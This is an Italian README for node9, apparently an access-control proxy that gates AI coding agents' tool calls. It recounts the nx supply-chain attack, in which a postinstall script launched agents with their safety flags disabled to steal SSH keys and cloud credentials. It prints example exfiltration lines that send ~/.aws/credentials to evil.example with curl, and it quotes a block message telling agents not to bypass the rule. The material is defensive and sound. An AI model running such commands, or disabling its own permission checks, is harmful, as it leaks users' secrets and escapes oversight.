Controllo degli accessi per agenti AI. Definisci cosa Claude Code, Codex, Gemini, Cursor e qualsiasi server MCP sono autorizzati a fare, esamina le azioni rischiose prima che vengano eseguite e mantieni traccia di ogni azione.
<h1 align="center">🛡️ node9</h1> <p align="center">Controllo degli accessi per agenti AI</p> <p align="center"><strong>I tuoi agenti AI possono raggiungere Slack, GitHub, l'email e il tuo database.<br />node9 decide cosa possono fare con ciascuno di essi.</strong></p> <p align="center"> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a> <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a> <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a> <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a> <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a> <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a> <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&labelColor=%231A1A2E&logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a> <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a> </p> **Gabbia delle credenziali** · **segreti e PII** · **git, SQL e shell distruttivi trattenuti per revisione** · **Pinning degli strumenti MCP** · **allowlist di uscita di rete** · **interruttore di loop** · **un unico registro attraverso dodici agenti** Funziona con **Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · qualsiasi server MCP**. ## Come si presenta Una vera sessione di Claude Code con node9 installato. Ogni chiamata a uno strumento viene verificata prima di essere eseguita. La creazione di una pagina e la modifica di un pulsante vengono eseguite. Una richiesta all'indirizzo dei metadati del cloud viene bloccata, e l'agente riceve il motivo e prosegue. L'eliminazione di file attende la tua approvazione, direttamente nella chat. <p align="center"> <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="node9 in una sessione di Claude Code: due chiamate consentite, una bloccata, una trattenuta per approvazione" /> </p> ## Installazione ```bash brew tap node9-ai/node9 && brew install node9 # macOS / Linux npm install -g node9-ai # any platform ``` Poi, in qualsiasi progetto: ```bash node9 # first run: choose dashboard connection or local protection node9 posture # scores this machine 0-100: what a compromised agent could read, reach and run node9 login # optional: adds this machine to a shared dashboard ``` Richiede Node.js 22+. Su un nuovo terminale interattivo, `node9` ti guida attraverso la configurazione. La protezione locale non richiede alcun account. La checklist mostra gli scudi consigliati, DLP/PII, la revisione opzionale dell'uscita di rete e il servizio in background. Le statistiche di utilizzo vengono inviate solo se accetti il prompt separato. Il riepilogo elenca gli agenti configurati e qualsiasi passaggio di configurazione che richiede attenzione. Esegui `node9 setup` per rivedere la configurazione, oppure `node9 setup <target>` per configurare un agente. Una volta configurato, il semplice `node9` mostra la guida. `node9 init` rimane disponibile; per gli script usa `node9 init --recommended` (nessuna domanda e nessun opt-in alla telemetria). `--skip-setup` lascia invariati il cablaggio degli agenti e l'installazione del servizio. Un `--mode` esplicito ha la precedenza sulla raccomandazione della modalità standard della checklist. Le impostazioni esistenti vengono preservate a meno che le modifiche selezionate o i flag espliciti richiedano un aggiornamento. La policy del workspace è gestita nella dashboard; le impostazioni del servizio rimangono locali. **`login` non aggiunge nulla all'applicazione delle regole.** Collega la macchina a un workspace così che un team possa vedere un unico registro attraverso i portatili e la CI di tutti, impostare la policy centralmente, e approvare le azioni trattenute da una dashboard o da Slack. Salta questo passaggio e node9 funziona esattamente allo stesso modo, da solo, offline. `node9 logout` disconnette di nuovo e l'applicazione locale continua a funzionare. ### Uso come server MCP node9 funziona anche come server MCP, così un agente può leggere il suo stato, la postura, il registro di audit e la policy, e spiegare qualsiasi decisione, dall'interno della conversazione: ```bash claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server ``` Qualsiasi client MCP funziona allo stesso modo: il comando è `npx -y node9-ai mcp-server` su stdio, senza API key. È elencato nel registro ufficiale MCP come `io.github.node9-ai/node9`. ## Il problema Ad agosto 2025, release compromesse dello [strumento di build `nx`](https://github.com/advisories/GHSA-cxm3-wv7p-598c) hanno distribuito uno script post-installazione che cercava gli agenti di coding AI già installati sulla macchina dello sviluppatore, poi li eseguiva con i loro stessi flag di sicurezza disattivati (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) per enumerare chiavi SSH, credenziali cloud e file di wallet e scrivere la lista su disco. Lo script inviava i risultati a repository pubblici all'interno degli account GitHub stessi delle vittime. Più di mille token GitHub validi sono trapelati, insieme a credenziali cloud, token npm e circa 20.000 file, da macchine in cui l'agente stava facendo esattamente ciò che gli era stato detto. L'agente non era l'attaccante. L'agente era lo strumento, e nulla si frapponeva tra esso e i file. Il gate di node9 non è uno di quei flag: viene eseguito nell'hook, e un'azione che trattiene rimane trattenuta anche quando l'agente è stato avviato con i permessi saltati. ## Cosa fa node9 al riguardo node9 si colloca tra l'agente e ogni strumento che chiama. La gabbia delle credenziali (`~/.ssh`, `~/.aws`, file `.env`, chiavi private) è attiva per impostazione predefinita, e una lettura di uno di quei percorsi non viene eseguita. L'agente viene fermato, gli viene detto il motivo, e la decisione arriva a te: ```text NODE9: Action blocked by security policy. INSTRUCTIONS: - Do NOT retry this exact command or attempt to bypass the rule. - Pivot to a non-destructive or read-only alternative. - Inform the user which security rule was triggered and ask how to proceed. ``` Il comando viene analizzato come AST di shell, non confrontato come testo, quindi avvolgere la lettura non aiuta. `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` viene giudicato come una lettura di `~/.aws/credentials`, non come un `echo`. node9 è un **gate**. Un'azione trattenuta non viene eseguita mentre attende te, e se non rispondi mai rimane bloccata. Tutto il resto è consentito e scritto nel registro. **Cosa non fa:** con il controllo dell'uscita disattivato, che è l'impostazione predefinita, un comando che consegna un file direttamente alla rete, come `curl -d @~/.aws/credentials`, non viene trattato come una lettura di quel file. `node9 egress protect` controlla anche le destinazioni, e copre solo i comandi di shell. ## Verificalo tu stesso Nulla di quanto segue richiede un account, e nulla viene caricato. ```bash npx node9-ai scan # every past agent session on this machine npx node9-ai scan-repo node9-ai/agent-security-demo # a public repo with a real, hijackable agent workflow gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed ``` <p align="center"> node9 scan scorecard </p> ## Cosa governa Ogni riga è una capacità, con la pagina che la documenta. La documentazione è il riferimento; questo file è la mappa. | | | | | --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ | | **Gabbia delle credenziali** | `~/.ssh`, `~/.aws`, `.env` e le chiavi private sono bloccati da ogni strumento, non solo dalla shell | [docs](https://node9.ai/docs/shields) | | **Regole sempre attive** | git distruttivo, SQL senza una `WHERE`, `curl \| bash` e `sudo` non autorizzato, senza alcuna configurazione | [docs](https://node9.ai/docs/smart-rules) | | **Segreti e PII** | chiavi AWS, token GitHub e Stripe, chiavi PEM e forme di carte o SSN, in qualsiasi argomento di strumento, più una scansione in background di ciò che l'agente ha scritto | [docs](https://node9.ai/docs/dlp) | | **Scudi per servizio** | pacchetti di regole curati per Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub e il filesystem | [docs](https://node9.ai/docs/shields) | | **Revisione inline** | un'azione trattenuta ti interpella all'interno della conversazione dell'agente, o tramite un approvatore del team | [docs](https://node9.ai/docs/cloud-policy) | | **Allowlist di uscita** | controlla dove un comando di shell può inviare dati, disattivato per impostazione predefinita | [docs](https://node9.ai/docs/egress) | | **Gateway MCP** | avvolgi qualsiasi server MCP, autorizza ogni strumento e fissa le definizioni degli strumenti così che un server non possa cambiarle alle tue spalle | [docs](https://node9.ai/docs/mcp-gateway) | | **Sandbox** | esegui un agente in un container con un'allowlist di uscita a livello di kernel e mount con ambito limitato | [docs](https://node9.ai/docs/sandbox) | | **Punteggio di postura** | quanto è esposta questa macchina, con il comando che risolve ogni rilevazione | [docs](https://node9.ai/docs/posture) | | **Scansione dei repo** | trova workflow in cui un esterno potrebbe dirottare un agente che detiene i tuoi segreti, in CI o dalla CLI | [docs](https://node9.ai/docs/repo-scanning) | | **Cronologia delle sessioni** | leggi cosa ha già fatto ogni agente su questa macchina, prima che node9 fosse installato | [docs](https://node9.ai/docs/sessions) | | **Monitor live e report** | una dashboard da terminale, e un riepilogo a finestre di costo, strumenti, blocchi e raggio d'impatto | [docs](https://node9.ai/docs/report) | | **Pinning delle skill** | verifica SHA-256 delle skill e dei plugin Claude installati tra le sessioni | [docs](https://node9.ai/docs/skill-pinning) | | **Credenziali canary** | chiavi false piantate che provano che è avvenuto un tentativo di esfiltrazione | [docs](https://node9.ai/docs/canary-credentials) | | **SDK Python** | governa qualsiasi agente Python, non solo le CLI | [docs](https://node9.ai/docs/python-sdk) | Riferimento completo di CLI e configurazione: **[node9.ai/docs](https://node9.ai/docs)**. Come si incastrano i livelli: **[come funziona](https://node9.ai/docs/how-it-works)**. ## Approfondimenti Letture di contesto, scritte per essere autosufficienti. Ogni pagina dice cosa node9 non copre. - **[Cosa può fare un agente dirottato?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: il raggio d'impatto di una singola sessione compromessa - **[Come un agente AI fa trapelare un segreto](https://node9.ai/learn/ai-agent-secret-exfiltration)**: i percorsi attraverso cui una credenziale esce davvero - **[Sicurezza di Claude Code](https://node9.ai/learn/claude-code-security)**: hook, modalità di permesso e ciò che non fermano - **[Sicurezza MCP](https://node9.ai/learn/mcp-security)**: la superficie di strumenti che apre un server MCP - **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: la lista, mappata su controlli reali ## Confronto - **[node9 rispetto alle alternative](https://node9.ai/compare)**: una matrice, incluse le righe in cui node9 ottiene un punteggio peggiore - **[Copertura per agente](https://node9.ai/agents)**: cosa è governato su ciascuno dei dodici agenti supportati ## Progetti correlati - **[node9-python](https://github.com/node9-ai/node9-python)**: SDK Python - **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: la GitHub Action, `uses: node9-ai/node9-proxy@v2`, controlla ogni PR con lo stesso motore ## Enterprise **node9 Pro** aggiunge il blocco della governance, SAML/SSO, l'esportazione centralizzata dell'audit e il deployment su VPC. Vedi [node9.ai](https://node9.ai). ## Licenza Apache-2.0 <p align="center"> <sub>Costruito con ☕ e sana paranoia.</sub> </p>